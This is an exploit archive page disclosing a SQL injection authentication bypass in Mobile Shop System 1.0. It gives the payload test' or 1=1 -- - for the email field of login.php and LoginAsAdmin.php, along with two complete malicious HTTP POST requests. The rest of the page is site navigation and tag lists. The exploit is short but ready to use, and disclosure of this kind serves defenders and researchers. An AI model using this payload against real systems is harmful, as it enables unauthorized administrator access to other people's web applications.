

Mobile Shop System 1.0 SQL Injection

Authored by [Moaaz Taha](#)

Posted [Sep 10, 2020](#)

Mobile Shop System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | [exploit](#), [remote](#), [sql injection](#)

SHA-256 | 2cc69bdfefad255d949a9b6e712e5795c817d2f76d3c9909e8385fbee825629d [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Title: Mobile Shop System v1.0 - SQLi lead to authentication bypass
# Exploit Author: Moaaz Taha (@xStorm)
# Date: 2020-09-08
# Vendor Homepage: https://www.sourcecodester.com/php/14412/mobile-shop-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14412&title=Mobile+Shop+System+in+PHP+MySQL
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

# POC
1- Go to "http://TARGET/mobileshop-master/login.php" or "http://TARGET/mobileshop-master/LoginAsAdmin.php"
2- Inject this SQL payload (test' or 1=1 -- -) in email field and any password in password field.
3- Click on "login", then you will bypass the authentication successfully.

# Malicious HTTP POST Requests

POST /mobileshop-master/login.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+---+&password=test123

-----

POST /mobileshop-master/LoginAsAdmin.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/LoginAsAdmin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=d7c49f6634a208dca0624f2f6b1d27b6
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+---+&password=test123
```

[Login](#) or [Register](#) to add favorites

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed